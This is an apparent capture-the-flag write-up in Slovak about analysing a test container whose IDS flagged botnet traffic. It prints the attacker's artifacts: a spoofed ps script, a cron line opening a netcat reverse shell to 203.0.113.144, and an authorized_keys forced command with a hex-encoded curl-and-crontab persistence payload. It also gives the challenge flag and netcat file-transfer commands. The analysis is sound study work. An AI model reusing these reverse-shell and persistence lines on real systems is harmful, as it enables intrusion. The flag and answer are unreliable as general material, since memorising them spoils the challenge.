Náš IDS (intrusion detection system) zaznamenal podozrivú komunikáciu medzi zariadením srv-test23.cypherfix.tcc (10.99.24.23, 2001:db8:7cc::24:23) v našom obvode a C2 botnetom Leonidas300. Používateľ a správca zariadenia v jednom nemá poňatia ako je to možné a odmieta vypnúť dôležité testovacie zariadenie (ako VIP si zjavne môže dovoliť komplikovať vyšetrovanie). Ale je ochotný dodať ssh kľúč a testovacieho používateľa pre preskúmanie zariadenia.
Mojou úlohou je analýza incidentu, hlavne čo spôsobuje občasnú detekciu komunikácie s botnetom. Úloha je za 2 body.
IDS je dostupný na http://ids.cypherfix.tcc
Stiahol som si ssh-kľúč v ssh-key.zip, rozbalil súbor testuser, musel som mu nastaviť prísne práva (čítateľné len vlastníkom):
chmod 400 testuserssh -i ./testuser testuser@srv-test23.cypherfix.tcc
testuser@38c62c70b10e:~$ which ps
/usr/local/bin/ps
testuser@38c62c70b10e:~$ cat /usr/local/bin/ps
#!/bin/bash
cat <<EOF
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 7 0.0 0.1 15420 9068 ? S 18:17 0:00 sshd: /usr/sbin/sshd -D [liste
ner] 0 of 10-100 startups
root 8 0.0 0.1 17584 11196 ? Ss 18:18 0:00 \_ sshd: testuser [priv]
testuser 11 0.0 0.0 17844 6972 ? S 18:18 0:00 \_ sshd: testuser@pts/0
testuser 19 0.0 0.0 4188 3528 pts/0 S 18:18 0:00 \_ /bin/bash
testuser 25 0.0 0.0 8088 3920 pts/0 R+ 18:39 0:00 \_ /bin/ps $*
EOF
testuser@38c62c70b10e:~$ /usr/bin/ps
bash: /usr/bin/ps: Permission denied
Procesy sú síce zablokované, avšak cez "top" príkaz vidieť kopec pripojení ďalších kolegov analytykov. Žiadny podozrivý proces tu ale nebeží. Vo /var/log sa k ničom dopátrať nedá. Ako pozerám pripojené filesystémy príkazom mount, vidím že som v docker kontajneri a väčšina je read-only. Skript entrypoint.sh z rovnakého adresára ako podvrhnutý "ps" slúži na spustenie sshd pre možné ssh pripojenie.
Pozriem teda lepšie na môj domáci adresár.
testuser@38c62c70b10e:~$ ls -la
-rwx------ 1 testuser testuser 220 Mar 29 2024 .bash_logout
-rwxr--r-- 1 testuser testuser 1383 Oct 7 09:09 .bashrc
-rwx------ 1 testuser testuser 48 Oct 7 09:09 .cron
-rwx------ 1 testuser testuser 807 Mar 29 2024 .profile
drwx------ 1 testuser testuser 4096 Oct 7 09:09 .ssh
drwxr-xr-x 1 testuser testuser 4096 Oct 7 09:09 cats
drwx------ 1 testuser testuser 4096 Oct 7 09:09 download
testuser@38c62c70b10e:~$ cat .cron
*/5 * * * * nc 203.0.113.144 44444 -e /bin/bash
Podozrivý súbor .cron obsahuje reverzný shell, teda pripojí sa "von" a presmeruje komunikáciu na svoj shell. Takto prejde firewallom. Ďalej sú tu adresáre cats (s obrázkami) a download (s pdf).
Keď pozriem do adresára .ssh, je tu len súbor authorized_keys, avšak s podozrivým obsahom.
testuser@38c62c70b10e:.ssh$ cat authorized_keysno-user-rc,no-X11-forwarding,command="`#! /bin/bash`;eval $(echo 6375726c202d73202d4120274c656f6e 69646173212049206861766520707265706172656420627265616b6661737420616e6420617465206865617274696c792 e2e2e20466f7220746f6e696768742c2077652064696e6520696e2068656c6c2121205530633564324a48624442615657 784655465661545646565a44645a5747513057564d784e4531556248424d565752445932706a64475177526b7057626a4 1392720687474703a2f2f31302e39392e32342e32343a38302f2e63726f6e202d6f202e63726f6e3b2063726f6e746162 202e63726f6e20323e202f6465762f6e756c6c3b2f62696e2f62617368 | xxd -r -ps)" ssh-rsa AAAAB3NzaC1yc2E AAAADAQABAAACAQDNGDvmucMzlKsOPWMBe7v9F37+1RVbw8CCpH1582MNz9FaURIV6R3jTI2pZP0fOqe1jMlOHuzjAp6Vl6rH rlxxDPuHObTCXCOIRflezC4h1+SU+crnhXK+X6aKc2M28/OxIWZRguTjYg0jVAIi2Z1iN/cd+YBuNDU3NjCDBSUshJFDDYR4y 9uvstLqK28hfRRdvxm5bhyBh2NXxcDtcKpRAnVfI4pL5QL3PbaB/WzVtcEpKMTvLb99UYg+iAK60wpXvG4FmJL8WlqSqJj7Ci 9Xi/51EHJpJksVTdGgwwpS6CSz7Inlxt7u5fRM/741sHuqrFxfsQOmZXUAOKmGGZjXdIwGoqVczHUQm16tBwg9gjs0ba85VSL tFmFP2rMxDjUV11NxteE1PyzCe2npOEtPl0rCJVnadaI4Ie30eEmEBclJRmcD7XC089VdjxHnyae+j1zABjeJ7pFn53GW/X+D qehoa/WYWjQDfkbVwqU4kAchGvWi+avQAlb6J6cUIK+C4AKddNB8jO1tjEXLnK1SdAVgTYZP8SAxlPjhnIl9xif69baO1vm12 3On/3sfow4/zQLFKR3oRroJKhTLV1vxjQMxUcnxnG7vbZWE9yR+4y/N5F7fV+uJs9/OYI4BTVEHR6ZlpGKK+j/SGHf1rWtM1R IANtQK4YPRDQFntvLoWQ== testuser@cypherfix.tcc testuser@38c62c70b10e:.ssh$ echo 6375726c202d73202d4120274c656f6e69646173212049206861766520707265 706172656420627265616b6661737420616e6420617465206865617274696c792e2e2e20466f7220746f6e696768742c2 077652064696e6520696e2068656c6c2121205530633564324a48624442615657784655465661545646565a44645a5747 513057564d784e4531556248424d565752445932706a64475177526b7057626a41392720687474703a2f2f31302e39392 e32342e32343a38302f2e63726f6e202d6f202e63726f6e3b2063726f6e746162202e63726f6e20323e202f6465762f6e 756c6c3b2f62696e2f62617368 | xxd -r -ps curl -s -A 'Leonidas! I have prepared breakfast and ate heartily... For tonight, we dine in hell! ! U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9' http://10.99.24.24:80/.cron - o .cron; crontab .cron 2> /dev/null;/bin/bash
Spustil som vnútro "eval" príkazu, teda to čo by sa malo vykonať a tak som preložil hex reťazec naspäť do binárnej formy. Vidím, že v user-agent reťazci (-A) posiela odkaz na web server 10.99.24.24 odkiaľ stiahne .cron súbor a zaradí ho do crontabu.
Zakódovanú časť reťazca v hlavičke možno dekódovať dva krát po sebe cez "from Base64" funkciu napr na CyberChef stránke. Po prvom dekódovaní totiž vidieť reťazec končiť znakom rovná sa.
HopliteID=FLAG{awxa-x19i-GBr7-wAIV}
Bonus
Po tých mačkách minule mi to nedalo a chcel som sa dopracovať ku obrázkom v adresári "cats". Scp mi nechcelo fungovať, ani po nastavení starého kompatibilného režimu. Mám tu ale netcat, tak je tu možnosť poslať binárne dáta cez vlastné tcp spojenie.
U seba spustím:
nc -l -p 1234 | tar x < /dev/null
Na vzdialenom stroji toto:
tar cf - download | netcat 10.200.0.43 1234
tar cf - cats | netcat 10.200.0.43 1234
Žiadne komentáre:
Zverejnenie komentára